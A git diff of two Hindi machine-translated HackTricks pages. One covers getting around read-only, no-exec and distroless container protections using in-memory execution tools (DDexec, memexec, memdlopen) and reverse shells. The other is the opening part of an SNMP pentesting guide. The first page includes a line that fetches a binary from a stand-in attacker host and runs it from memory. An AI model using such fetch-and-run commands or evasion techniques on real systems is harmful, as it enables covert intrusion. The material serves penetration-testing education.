* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सदस्यता योजनाएँ देखें**](https://github.com/sponsors/carlospolop)!
|
||||
* यदि आप अपनी कंपनी का विज्ञापन HackTricks में देखना चाहते हैं या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो** करें।
|
||||
* **अपने हैकिंग ट्रिक्स साझा करें द्वारा PRs सबमिट करके** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github रेपो में।
|
||||
|
||||
|
|
|
@ -1,22 +1,22 @@
|
|||
# FS सुरक्षा को उमड़ना: केवल पढ़ने योग्य / कोई निषेषक्रिया / Distroless
|
||||
# FS सुरक्षा को उलटा: केवल पढ़ने योग्य / कोई-कार्यात्मक / Distroless
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert) के साथ शून्य से हीरो तक AWS हैकिंग सीखें</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
||||
|
||||
HackTricks का समर्थन करने के अन्य तरीके:
|
||||
|
||||
* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* [**आधिकारिक PEASS और HackTricks swag**](https://peass.creator-spring.com) प्राप्त करें
|
||||
* हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
||||
* **शामिल हों** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो** करें।
|
||||
* **अपने हैकिंग ट्रिक्स साझा करें, HackTricks** और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PR जमा करके।
|
||||
* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सदस्यता योजनाएं देखें**](https://github.com/sponsors/carlospolop)!
|
||||
* [**आधिकारिक PEASS और HackTricks swag प्राप्त करें**](https://peass.creator-spring.com)
|
||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
||||
* **शामिल हों** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो** करें।
|
||||
* **अपने हैकिंग ट्रिक्स साझा करें** द्वारा PRs सबमिट करके [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
यदि आप **हैकिंग करियर** में रुचि रखते हैं और अहैकेबल को हैक करना चाहते हैं - **हम नियुक्ति कर रहे हैं!** (_चुस्त पोलिश लिखने और बोलने की आवश्यकता है_).
|
||||
यदि आप **हैकिंग करियर** में रुचि रखते हैं और अहैकेबल को हैक करना चाहते हैं - **हम भर्ती कर रहे हैं!** (_चुस्त पोलिश लिखने और बोलने की आवश्यकता है_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -25,9 +25,9 @@ HackTricks का समर्थन करने के अन्य तरी
|
|||
निम्नलिखित वीडियो में आप इस पृष्ठ में उल्लिखित तकनीकों को अधिक गहराई से समझ सकते हैं:
|
||||
|
||||
* [**DEF CON 31 - गुप्तचरता और टालने के लिए लिनक्स मेमोरी मेनिपुलेशन का अन्वेषण**](https://www.youtube.com/watch?v=poHirez8jk4)
|
||||
* [**DDexec-ng और इन-मेमोरी dlopen() के साथ गुप्त प्रवेश - HackTricks Track 2023**](https://www.youtube.com/watch?v=VM\_gjjiARaU)
|
||||
* [**DDexec-ng और इन-मेमोरी dlopen() के साथ गुप्त अतिक्रमण - HackTricks Track 2023**](https://www.youtube.com/watch?v=VM\_gjjiARaU)
|
||||
|
||||
## पढ़ने योग्य / कोई निषेषक्रिया स्थिति
|
||||
## केवल पढ़ने योग्य / कोई-कार्यात्मक स्थिति
|
||||
|
||||
लिनक्स मशीनों को **केवल पढ़ने योग्य (ro) फ़ाइल सिस्टम सुरक्षा** के साथ माउंट करना अधिक सामान्य हो रहा है, विशेष रूप से कंटेनर में। इसका कारण है कि ro फ़ाइल सिस्टम के साथ कंटेनर चलाना **`readOnlyRootFilesystem: true`** को `securitycontext` में सेट करना इतना आसान है:
|
||||
|
||||
|
@ -44,37 +44,37 @@ securityContext:
|
|||
</strong> command: ["sh", "-c", "while true; do sleep 1000; done"]
|
||||
</code></pre>
|
||||
|
||||
हालांकि, यदि फ़ाइल सिस्टम को ro के रूप में माउंट किया गया है, तो **`/dev/shm`** अभी भी लिखने योग्य होगा, इसलिए यह झूठ है कि हम डिस्क में कुछ भी लिख नहीं सकते। हालांकि, इस फ़ोल्डर को **कोई निषेषक्रिया सुरक्षा के साथ माउंट किया जाएगा**, इसलिए यदि आप यहाँ एक बाइनरी डाउनलोड करते हैं तो आप उसे **क्रियान्वित नहीं कर पाएंगे**।
|
||||
हालांकि, यदि फ़ाइल सिस्टम को ro के रूप में माउंट किया गया है, तो **`/dev/shm`** अभी भी लिखने योग्य होगा, इसलिए यह झूठ है कि हम डिस्क में कुछ भी लिख नहीं सकते। हालांकि, इस फ़ोल्डर को **कोई-कार्यात्मक सुरक्षा के साथ माउंट किया जाएगा**, इसलिए यदि आप यहाँ एक बाइनरी डाउनलोड करते हैं तो आप **इसे क्रियान्वित नहीं कर सकेंगे**।
|
||||
|
||||
{% hint style="warning" %}
|
||||
रेड टीम की दृष्टि से, यह **जटिल बना देता है कि** उन बाइनरी को डाउनलोड और क्रियान्वित करना **कठिन हो जाता है** जो पहले से सिस्टम में नहीं हैं (जैसे बैकडोर या `kubectl` जैसे जांचकर्ता)।
|
||||
रेड टीम की दृष्टि से, यह **जटिल बना देता है कि डाउनलोड और क्रियान्वित करें** बाइनरी जो पहले से सिस्टम में नहीं हैं (जैसे बैकडोर या `kubectl` जैसे जांचकर्ता)।
|
||||
{% endhint %}
|
||||
|
||||
## सबसे आसान उमड़न: स्क्रिप्ट
|
||||
## सबसे आसान उल्टा: स्क्रिप्ट
|
||||
|
||||
ध्यान दें कि मैंने बाइनरी का उल्लेख किया, आप **किसी भी स्क्रिप्ट को क्रियान्वित कर सकते हैं** जब तक अंतर्वादक मशीन में हो, जैसे एक **शैल स्क्रिप्ट** यदि `sh` मौजूद है या एक **पायथन स्क्रिप्ट** यदि `पायथन` स्थापित है।
|
||||
|
||||
हालांकि, यह आपके बाइनरी बैकडोर या अन्य बाइनरी उपकरणों को चलाने के लिए जो आपको चलाने की आवश्यकता हो सकती है, इसके लिए केवल इतना ही काफी नहीं है।
|
||||
|
||||
## मेमोरी उमड़न
|
||||
## मेमोरी उल्टा
|
||||
|
||||
यदि आप एक बाइनरी को क्रियान्वित करना चाहते हैं लेकिन फ़ाइल सिस्टम इसे नहीं करने दे रहा है, तो इसे **मेमोरी से क्रियान्वित करना** सबसे अच्छा तरीका है, क्योंकि **सुरक्षा उसमें लागू नहीं होती**।
|
||||
यदि आप एक बाइनरी को क्रियान्वित करना चाहते हैं लेकिन फ़ाइल सिस्टम उसे नहीं करने दे रहा है, तो उसे **मेमोरी से क्रियान्वित करना** सबसे अच्छा तरीका है, क्योंकि **सुरक्षा उसमें लागू नहीं होती**।
|
||||
|
||||
### FD + exec सिस्कॉल उमड़न
|
||||
### FD + exec सिसकॉल उल्टा
|
||||
|
||||
यदि आपके पास मशीन में कुछ शक्तिशाली स्क्रिप्ट इंजन हैं, जैसे **पायथन**, **पर्ल**, या **रूबी**, तो आप मेमोरी से क्रियान्वित करने के लिए बाइनरी डाउनलोड कर सकते हैं, इसे एक मेमोरी फ़ाइल डिस्क्रिप्टर में स्टोर कर सकते हैं (`create_memfd` सिस्कॉल), जिसे उन सुरक्षा उपायों द्वारा संरक्षित नहीं किया जाएगा और फिर एक **`exec` सिस्कॉल** को कॉल करके **fd को फ़ाइल के रूप में क्रियान्वित करने** के लिए।
|
||||
यदि आपके पास मशीन के अंदर कुछ शक्तिशाली स्क्रिप्ट इंजन हैं, जैसे **पायथन**, **पर्ल**, या **रूबी**, तो आप मेमोरी से क्रियान्वित करने के लिए बाइनरी डाउनलोड कर सकते हैं, इसे एक मेमोरी फ़ाइल डिस्क्रिप्टर में स्टोर कर सकते हैं (`create_memfd` सिसकॉल), जिसे उन सुरक्षा उपायों द्वारा संरक्षित नहीं किया जाएगा और फिर एक **`exec` सिसकॉल** को कॉल करके **fd को फ़ाइल के रूप में क्रियान्वित करने के लिए** इंडिकेट कर सकते हैं।
|
||||
|
||||
इसके लिए आप आसानी से परियोजना [**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec) का उपयोग कर सकते हैं। आप इसे एक बाइनरी पास कर सकते हैं और यह उसे **बाइनरी को डीकोड और डीकंप्रेस करने के निर्देशों के साथ उपयुक्त भाषा में स्क्रिप्ट उत्पन्न करेगा** जिसमें बाइनरी को **b64 एन्कोड करके संक्षिप्त किया गया है** और `create_memfd` सिस्कॉल को कॉल करके एक **fd** में बनाए गए फ़ाइल में स्टोर करने के निर्देश होंगे और इसे चलाने के लिए **exec** सिस्कॉल को कॉल करेगा।
|
||||
इसके लिए आप आसानी से परियोजना [**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec) का उपयोग कर सकते हैं। आप इसे एक बाइनरी पास कर सकते हैं और यह उसे एक निर्दिष्ट भाषा में स्क्रिप्ट उत्पन्न करेगा जिसमें बाइनरी **संकुचित और b64 एन्कोड किया गया** होगा और इसे **डिकोड और डीकंप्रेस** करने के निर्देश होंगे एक **fd** बुलाने के लिए `create_memfd` सिसकॉल और इसे चलाने के लिए **exec** सिसकॉल को कॉल करने के निर्देश होंगे।
|
||||
|
||||
{% hint style="warning" %}
|
||||
यह अन्य स्क्रिप्टिंग भाषाओं में काम नहीं करता क्योंकि उनके पास कोई **स्क्रिप्ट से रॉ सिस्कॉल को कॉल करने का डिफ़ॉल्ट तरीका** नहीं है, इसलिए `create_memfd` को कॉल करने के लिए **मेमोरी fd** बनाना संभव नहीं है।
|
||||
यह अन्य स्क्रिप्टिंग भाषाओं में काम नहीं करता है जैसे PHP या नोड क्योंकि उनके पास कोई **स्क्रिप्ट से रॉ सिसकॉल करने का डिफ़ॉल्ट तरीका** नहीं है, इसलिए `create_memfd` को कॉल करने के लिए **मेमोरी fd** बनाना संभव नहीं है।
|
||||
|
||||
इसके अतिरिक्त, `/dev/shm` में एक **नियमित fd** बनाना काम नहीं करेगा, क्योंकि आपको इसे चलाने की अनुमति नहीं होगी क्योंकि **कोई निषेषक्रिया सुरक्षा** लागू होगी।
|
||||
इसके अतिरिक्त, `/dev/shm` में एक **नियमित fd** बनाना काम नहीं करेगा, क्योंकि आपको इसे चलाने की अनुमति नहीं होगी क्योंकि **कोई-कार्यात्मक सुरक्षा** लागू होगी।
|
||||
{% endhint %}
|
||||
|
||||
### DDexec / EverythingExec
|
||||
|
||||
[**DDexec / EverythingExec**](https://github.com/arget13/DDexec) एक तकनीक है जो आपको अपने खुद के प्रक्रिया की मेमोरी को **अपने आप ओवरराइट करके संशोधित करने** की अनुमति देती है।
|
||||
[**DDexec / EverythingExec**](https://github.com/arget13/DDexec) एक तकनीक है जो आपको अपने खुद के प्रक्रिया की **मेमोरी को संशोधित करके** अनुप्रयोग करने की अनुमति देता है उसके **`/proc/self/mem`** को अधिलेखित करके।
|
||||
|
||||
इसलिए, प्रक्रिया द्वारा क्रियान्वित किया जा रहा असेंबली कोड को नियंत्रित करके, आप एक **शैलकोड** लिख सकते हैं और प्रक्रिया को **किसी भी विचित्र कोड** को क्रियान्वित करने के लिए "परिवर्तित" कर सकते हैं।
|
||||
|
||||
|
@ -87,21 +87,21 @@ wget -O- https://attacker.com/binary.elf | base64 -w0 | bash ddexec.sh argv0 foo
|
|||
```
|
||||
### MemExec
|
||||
|
||||
[**Memexec**](https://github.com/arget13/memexec) DDexec का प्राकृतिक अगला कदम है। यह एक **DDexec शैलकोड डेमनाइज्ड** है, इसलिए हर बार जब आप **एक विभिन्न बाइनरी चलाना चाहते हैं** तो आपको DDexec को फिर से लॉन्च करने की आवश्यकता नहीं है, आप सिर्फ मेमेक्सेक शैलकोड को DDexec तकनीक के माध्यम से चला सकते हैं और फिर **इस डेमन के साथ संवाद करके नए बाइनरी लोड और चलाने के लिए**।
|
||||
[**Memexec**](https://github.com/arget13/memexec) DDexec का प्राकृतिक अगला कदम है। यह एक **DDexec शैलकोड डेमनाइज्ड** है, इसलिए हर बार जब आप **एक विभिन्न बाइनरी चलाना चाहते हैं** तो आपको DDexec को फिर से लॉन्च करने की आवश्यकता नहीं है, आप सिर्फ मेमेक्सेक शैलकोड को DDexec तकनीक के माध्यम से चला सकते हैं और फिर **इस डेमन के साथ संवाद करके नए बाइनरी को लोड और चलाने** के लिए।
|
||||
|
||||
आप [https://github.com/arget13/memexec/blob/main/a.php](https://github.com/arget13/memexec/blob/main/a.php) में **मेमेक्सेक का उपयोग कैसे करें** के एक उदाहरण पा सकते हैं।
|
||||
|
||||
### Memdlopen
|
||||
|
||||
DDexec के एक समान उद्देश्य के साथ, [**memdlopen**](https://github.com/arget13/memdlopen) तकनीक बाइनरी लोड करने के लिए एक **आसान तरीका** प्रदान करता है जिन्हें बाद में चलाने के लिए। यह यहाँ तक कि विभिन्न आवश्यकताओं वाले बाइनरी लोड करने की अनुमति देता है।
|
||||
DDexec के समान उद्देश्य के साथ, [**memdlopen**](https://github.com/arget13/memdlopen) तकनीक एक **सरल तरीके से बाइनरी को मेमरी में लोड करने** की अनुमति देती है ताकि उन्हें बाद में चलाया जा सके। यह यहाँ तक कि विभिन्न डिपेंडेंसी के साथ बाइनरी को लोड करने की भी अनुमति दे सकती है।
|
||||
|
||||
## Distroless Bypass
|
||||
|
||||
### Distroless क्या है
|
||||
|
||||
Distroless कंटेनर में केवल **एक विशिष्ट एप्लिकेशन या सेवा को चलाने के लिए आवश्यकता होने वाले न्यूनतम घटक** होते हैं, जैसे पुस्तकालय और रनटाइम निर्भरताएँ, लेकिन एक पैकेज प्रबंधक, शैल या सिस्टम उपयोगिताएं जैसे बड़े घटकों को छोड़ देते हैं।
|
||||
Distroless कंटेनर में केवल **विशेष एप्लिकेशन या सेवा को चलाने के लिए आवश्यकता होने वाले न्यूनतम घटक** होते हैं, जैसे पुस्तकालय और रनटाइम डिपेंडेंसी, लेकिन एक पैकेज प्रबंधक, शैल या सिस्टम उपयोगिताएं जैसे बड़े घटकों को छोड़ देते हैं।
|
||||
|
||||
Distroless कंटेनरों का लक्ष्य कंटेनरों के **हमले की सतह को कम करना** है अनावश्यक घटकों को हटाकर और उन विकल्पों की संख्या को कम करके जिनका शोध किया जा सकता है।
|
||||
Distroless कंटेनरों का लक्ष्य है कंटेनरों के **हमले की सतह को कम करके अनावश्यक घटकों को हटाकर** और उन विकल्पों की संख्या को कम करके उनमें से उन विकल्पों की संख्या को कम करना जो शोषित किया जा सकता है।
|
||||
|
||||
### रिवर्स शैल
|
||||
|
||||
|
@ -111,16 +111,16 @@ Distroless कंटेनरों का लक्ष्य कंटेनर
|
|||
इसलिए, आप **रिवर्स शैल** या **सिस्टम की जांच** जैसा काम करने में सक्षम नहीं होंगे।
|
||||
{% endhint %}
|
||||
|
||||
हालांकि, यदि संक्रमित कंटेनर में उदाहरण के लिए एक फ्लास्क वेब चल रहा है, तो पायथन स्थापित है, और इसलिए आप एक **पायथन रिवर्स शैल** प्राप्त कर सकते हैं। यदि यह नोड चल रहा है, तो आप एक नोड रिवर्स शैल प्राप्त कर सकते हैं, और इसी तरह से अधिकांश किसी भी **स्क्रिप्टिंग भाषा** के साथ।
|
||||
हालांकि, यदि संक्रमित कंटेनर में उदाहरण के लिए एक फ्लास्क वेब चल रहा है, तो पायथन स्थापित है, और इसलिए आप एक **पायथन रिवर्स शैल** प्राप्त कर सकते हैं। यदि यह नोड चल रहा है, तो आप एक नोड रिवर्स शैल प्राप्त कर सकते हैं, और इसी तरह से अधिकांश के साथ **स्क्रिप्टिंग भाषा**।
|
||||
|
||||
{% hint style="success" %}
|
||||
स्क्रिप्टिंग भाषा का उपयोग करके आप **भाषा क्षमताओं का उपयोग करके सिस्टम की जांच** कर सकते हैं।
|
||||
{% endhint %}
|
||||
|
||||
यदि **कोई `read-only/no-exec`** सुरक्षा उपाय नहीं है तो आप अपने रिवर्स शैल का दुरुपयोग करके **फाइल सिस्टम में अपने बाइनरी** लिख सकते हैं और उन्हें **चला** सकते हैं।
|
||||
यदि **कोई `read-only/no-exec`** सुरक्षा उपाय नहीं है तो आप अपने रिवर्स शैल का दुरुपयोग करके **फाइल सिस्टम में अपने बाइनरी लिख सकते हैं** और उन्हें **चला सकते हैं**।
|
||||
|
||||
{% hint style="success" %}
|
||||
हालांकि, इस प्रकार के कंटेनरों में ये सुरक्षा उपाय आम तौर पर मौजूद होंगे, लेकिन आप **पिछले मेमोरी निष्पादन तकनीकों का उपयोग करके उन्हें अनदेखा कर सकते हैं**।
|
||||
हालांकि, इस प्रकार के कंटेनरों में ये सुरक्षा उपाय आम तौर पर मौजूद होंगे, लेकिन आप **पिछले मेमरी निष्पादन तकनीकों का उपयोग करके उन्हें अनदेखा कर सकते हैं**।
|
||||
{% endhint %}
|
||||
|
||||
आप [**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE) में कुछ RCE सुरक्षा गड़बड़ियों का शोध करने और स्क्रिप्टिंग भाषाओं से **रिवर्स शैल प्राप्त करने** और बाइनरी को मेमोरी से चलाने के लिए **उदाहरण** पा सकते हैं।
|
||||
आप **कुछ RCE वंलरेबिलिटी का शोधन करने** और [**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE) में मेमरी से बाइनरी चलाने के उदाहरण पा सकते हैं।
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
# 161,162,10161,10162/udp - पेंटेस्टिंग SNMP
|
||||
# 161,162,10161,10162/udp - SNMP का पेंटेस्टिंग
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -6,23 +6,23 @@
|
|||
|
||||
HackTricks का समर्थन करने के अन्य तरीके:
|
||||
|
||||
* अगर आप चाहते हैं कि आपकी **कंपनी HackTricks में विज्ञापित हो** या **HackTricks को PDF में डाउनलोड करें** तो [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)!
|
||||
* अगर आप चाहते हैं कि आपकी **कंपनी HackTricks में विज्ञापित हो** या **HackTricks को PDF में डाउनलोड करें** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) का संग्रह, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** पर फॉलो** करें।
|
||||
* **अपने हैकिंग ट्रिक्स साझा करें, HackTricks और HackTricks Cloud** github repos में PRs सबमिट करके।
|
||||
* **अपने हैकिंग ट्रिक्स साझा करें, HackTricks** और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके।
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
अगर आप **हैकिंग करियर** में रुचि रखते हैं और अनहैकेबल को हैक करना चाहते हैं - **हम भर्ती कर रहे हैं!** (_फ्लूएंट पोलिश लिखित और बोली जानी चाहिए_).
|
||||
अगर आप **हैकिंग करियर** में रुचि रखते हैं और अहैकेबल को हैक करना चाहते हैं - **हम भर्ती कर रहे हैं!** (_फ्लूएंट पोलिश लिखित और बोली जानी चाहिए_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
## मूल जानकारी
|
||||
|
||||
**SNMP - Simple Network Management Protocol** एक प्रोटोकॉल है जो नेटवर्क में विभिन्न उपकरणों का मॉनिटरिंग करने के लिए उपयोग किया जाता है (जैसे राउटर, स्विच, प्रिंटर, आईओटी...).
|
||||
**SNMP - सिम्पल नेटवर्क मैनेजमेंट प्रोटोकॉल** एक प्रोटोकॉल है जिसका उपयोग नेटवर्क में विभिन्न उपकरणों को मॉनिटर करने के लिए किया जाता है (जैसे राउटर, स्विच, प्रिंटर, आईओटी...).
|
||||
```
|
||||
PORT STATE SERVICE REASON VERSION
|
||||
161/udp open snmp udp-response ttl 244 ciscoSystems SNMPv3 server (public)
|
||||
|
@ -33,21 +33,21 @@ SNMP भी **traps** के लिए **port 162/UDP** का उपयोग
|
|||
|
||||
### MIB
|
||||
|
||||
SNMP एक्सेस को विभिन्न निर्माताओं और विभिन्न क्लाइंट-सर्वर संयोजनों के साथ काम करने के लिए सुनिश्चित करने के लिए **Management Information Base (MIB)** बनाया गया था। MIB एक **स्वतंत्र प्रारूप है जो डिवाइस सूचना संग्रहित करने के लिए है**। MIB एक **पाठ** फ़ाइल है जिसमें डिवाइस के सभी पूछने योग्य **SNMP objects** को एक **मानकीकृत** पेड़ी वर्गीकरण में सूचीबद्ध किया गया है। इसमें कम से कम एक `Object Identifier` (`OID`) शामिल है, जो, आवश्यक **अद्वितीय पते** और एक **नाम** के अतिरिक्त, प्रत्येक विषय के प्रत्येक वस्तु के प्रकार, पहुंच अधिकार, और विवरण भी प्रदान करता है।\
|
||||
MIB फ़ाइलें `Abstract Syntax Notation One` (`ASN.1`) पर आधारित ASCII पाठ प्रारूप में लिखी जाती हैं। **MIBs में डेटा नहीं होता**, लेकिन वे **बताते हैं कि किस जानकारी को कहाँ खोजें** और यह कैसा दिखता है, जो विशिष्ट OID के लिए मान लौटाता है, या कौन सा डेटा प्रकार उपयोग किया गया है।
|
||||
यह सुनिश्चित करने के लिए कि SNMP एक्सेस विभिन्न निर्माताओं और विभिन्न क्लाइंट-सर्वर संयोजनों के साथ काम करता है, **Management Information Base (MIB)** बनाया गया था। MIB एक **डिवाइस जानकारी संचित करने के लिए स्वतंत्र प्रारूप** है। MIB एक **पाठ** फ़ाइल है जिसमें एक डिवाइस के सभी पूछने योग्य **SNMP objects** को एक **मानकीकृत** पेड़ी वर्गीकरण में सूचीबद्ध किया गया है। इसमें कम से कम एक `Object Identifier` (`OID`) शामिल है, जो, आवश्यक **अद्वितीय पते** के अतिरिक्त एक **नाम** भी प्रदान करता है, साथ ही प्रत्येक विषय के प्रकार, पहुंच अधिकार, और संबंधित वस्तु का विवरण भी प्रदान करता है।\
|
||||
MIB फ़ाइलें `Abstract Syntax Notation One` (`ASN.1`) पर आधारित ASCII पाठ प्रारूप में लिखी जाती हैं। **MIBs में डेटा नहीं होता**, लेकिन वे **बताते हैं कि किस जानकारी को कहाँ खोजें** और यह कैसा दिखता है, जो विशिष्ट OID के लिए वापसी मूल्यों को, या कौन सा डेटा प्रकार उपयोग किया जाता है, बताते हैं।
|
||||
|
||||
### OIDs
|
||||
|
||||
**Object Identifiers (OIDs)** महत्वपूर्ण भूमिका निभाते हैं। ये अद्वितीय पहचानकर्ता हैं जो **Management Information Base (MIB)** के भीतर वस्तुओं का प्रबंधन करने के लिए डिज़ाइन किए गए हैं।
|
||||
|
||||
MIB वस्तु IDs या OIDs के उच्चतम स्तर विभिन्न मानक-सेटिंग संगठनों को आवंटित किए गए हैं। यहीं पर वैश्विक प्रबंधन अभ्यास और मानकों के लिए ढांचा स्थापित होता है।
|
||||
MIB वस्तु IDs या OIDs के उच्चतम स्तर विभिन्न मानक-सेटिंग संगठनों को आवंटित किए गए हैं। यहीं पर वैश्विक प्रबंधन अभ्यास और मानक स्थापित होते हैं।
|
||||
|
||||
इसके अतिरिक्त, विक्रेताओं को निजी शाखाएँ स्थापित करने की स्वतंत्रता प्रदान की जाती है। इन शाखाओं के भीतर, वे अपनी उत्पाद लाइन के महत्वपूर्ण वस्तुओं को शामिल करने की **स्वतंत्रता** रखते हैं। यह सिस्टम सुनिश्चित करता है कि विभिन्न विक्रेताओं और मानकों के बीच विभिन्न वस्तुओं की पहचान और प्रबंधन के लिए एक संरचित और व्यवस्थित विधि है।
|
||||
इसके अतिरिक्त, विक्रेताओं को निजी शाखाएँ स्थापित करने की स्वतंत्रता प्रदान की जाती है। इन शाखाओं के भीतर, वे अपनी उत्पाद लाइन के महत्वपूर्ण प्रबंधित वस्तुओं को शामिल करने की **स्वतंत्रता** रखते हैं। यह प्रणाली सुनिश्चित करती है कि विभिन्न विक्रेताओं और मानकों के बीच विभिन्न वस्तुओं की पहचान और प्रबंधन के लिए एक संरचित और व्यवस्थित विधि है।
|
||||
|
||||
![](<../../.gitbook/assets/SNMP\_OID\_MIB\_Tree (1).png>)
|
||||
|
||||
आप वेब से एक **OID tree** में **नेविगेट** कर सकते हैं यहाँ से: [http://www.oid-info.com/cgi-bin/display?tree=#focus](http://www.oid-info.com/cgi-bin/display?tree=#focus) या **देख सकते हैं कि OID का मतलब क्या है** (जैसे `1.3.6.1.2.1.1`) [http://oid-info.com/get/1.3.6.1.2.1.1](http://oid-info.com/get/1.3.6.1.2.1.1) को एक्सेस करके।\
|
||||
कुछ **प्रसिद्ध OIDs** हैं जैसे जो [1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1) के भीतर हैं जो MIB-2 परिभाषित सिम्पल नेटवर्क प्रबंधन प्रोटोकॉल (SNMP) चर देते हैं। और **इससे प्राप्त होने वाले OID** से आप कुछ दिलचस्प होस्ट डेटा (सिस्टम डेटा, नेटवर्क डेटा, प्रक्रिया डेटा...) प्राप्त कर सकते हैं।
|
||||
आप वेब से एक **OID tree** में **नेविगेट** कर सकते हैं यहाँ से: [http://www.oid-info.com/cgi-bin/display?tree=#focus](http://www.oid-info.com/cgi-bin/display?tree=#focus) या **देख सकते हैं कि OID का मतलब क्या है** (जैसे `1.3.6.1.2.1.1`) पहुंचकर [http://oid-info.com/get/1.3.6.1.2.1.1](http://oid-info.com/get/1.3.6.1.2.1.1)।\
|
||||
कुछ **प्रसिद्ध OIDs** हैं जैसे जो [1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1) के भीतर हैं जो MIB-2 परिभाषित सिम्पल नेटवर्क प्रबंधन प्रोटोकॉल (SNMP) चर देते हैं। और इससे **इसके पेंडिंग OID** से आप कुछ दिलचस्प होस्ट डेटा (सिस्टम डेटा, नेटवर्क डेटा, प्रक्रिया डेटा...) प्राप्त कर सकते हैं।
|
||||
|
||||
### **OID उदाहरण**
|
||||
|
||||
|
@ -60,22 +60,22 @@ MIB वस्तु IDs या OIDs के उच्चतम स्तर व
|
|||
* 1 – इसे ISO कहा जाता है और यह यह निर्दिष्ट करता है कि यह एक OID है। इसलिए सभी OIDs "1" से शुरू होते हैं
|
||||
* 3 – इसे ORG कहा जाता है और यह उस संगठन को निर्दिष्ट करने के लिए उपयोग किया जाता है जिसने डिवाइस बनाया है।
|
||||
* 6 – यह डीओडी या डिपार्टमेंट ऑफ डिफेंस है जो पहले इंटरनेट स्थापित करने वाला संगठन है।
|
||||
* 1 – इंटरनेट का मूल्य यह निर्दिष्ट करता है कि सभी संचार इंटरनेट के माध्यम से होंगे।
|
||||
* 4 – यह मूल्य निर्धारित करता है कि यह डिवाइस एक निजी संगठन द्वारा बनाई गई है और सरकारी नहीं।
|
||||
